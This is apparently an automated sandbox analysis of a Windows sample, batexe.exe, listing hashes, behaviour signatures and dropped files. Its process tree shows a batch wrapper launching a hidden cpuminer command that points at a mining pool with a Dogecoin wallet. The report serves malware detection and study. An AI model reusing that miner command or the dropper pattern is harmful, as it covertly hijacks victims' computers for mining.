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Analysis

  • max time kernel
    299s
  • max time network
    298s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    13/02/2024, 18:38

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1856
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\639C.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1144
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2132

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe

    Filesize

    30.0MB

    MD5

    9d406fa1b3e58beb74c7913f6c2854e4

    SHA1

    dceae9e71542cb6330a3345e7275b46a55ecc493

    SHA256

    f9760ed36f8973b9b32c224fdaa3a3fc3b6bd02581200084c49dd977a6c96600

    SHA512

    0d0901e882a46990f811e7ebd85fe3aaf02f1d32b1ea88aff1ed8045dd0e20c9da2de65cd528dc905581da0ffae6d426a5aa8a750e08029ef5f3931a8e250b59

  • C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe

    Filesize

    896KB

    MD5

    1f22d8bf5f6c3dda3e880ea1ba0417d4

    SHA1

    2a8dbf2319999a894714bdea650eb5be32c64c19

    SHA256

    afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96

    SHA512

    217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05

  • C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe

    Filesize

    12.3MB

    MD5

    e06c656a3544be6b663de42b3099c756

    SHA1

    20b95509658827ff952be98f94dcf2d4e821e17d

    SHA256

    abcc6cdd93257c50263cca51d3b715a75a813d5c428df2d8b5195f02f6da5cd2

    SHA512

    65b03591530b789cca9cdbb265d28eadb9ce44d84ff5d45aef99f9dde5fe98c28b4579087d614657177d7fa4fbc779455c1b36cdc457e22c16065b546a1c05aa

  • C:\Users\Admin\AppData\Local\Temp\639C.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    17.8MB

    MD5

    51b0baf74ac9f8ad891075356c00455e

    SHA1

    5de4bef63d4b0291b122e5dfc8140622333c3582

    SHA256

    8f726ded090f5e2f5ba80e80e82170e9186e421c9554e60ad1703ea02fbca96b

    SHA512

    437ef5ba6277aa98c742af3da4fd219c1dc806aefdf4d086f9a321a6fc41dd9d03126b56fe60b00cbbfa1afbb02e3a6111a271b8be504ad0deee556aede123ac

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    27.2MB

    MD5

    19fcc327c7f9eaf6a1fae47c9864fda7

    SHA1

    90a9ca4f4eb5bc76424b6bec0acd3df0a53b8f8c

    SHA256

    baef1f4cabebdadc52213761b4c8e2bf381976a67bd7c490f952c38f6831b036

    SHA512

    76d129db3006de88b851100f559fac00796f150fd6290d8f1df9f01df5bc733ebf4f4b087580d3ec81c901002d155e522954a9c1a9919cc9ca87198974a77a3a

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    27.0MB

    MD5

    6392f7debcd98b80ec0be6de560bf49a

    SHA1

    ac174f7a361dbea998bee1e7045baa5cebc06134

    SHA256

    1e8977f4eb58a3258b744c3ba67959923969e7f11d0572d2cde4f6dc51ca2917

    SHA512

    00f3e648ec8bc70a99f57be835aea0912ab22da537473c13fd16180d02f04afd0705854361ae15c7f8c443dcd711e59bdd8707ea131bc77567157cb21bf99ed7

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1080-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/1856-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1856-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2132-47-0x0000000001150000-0x0000000002A05000-memory.dmp

    Filesize

    24.7MB

  • memory/2132-45-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2132-46-0x000000006D880000-0x000000006D918000-memory.dmp

    Filesize

    608KB

  • memory/2132-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2132-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2132-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2132-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2132-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2132-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2132-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2132-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2132-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2132-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB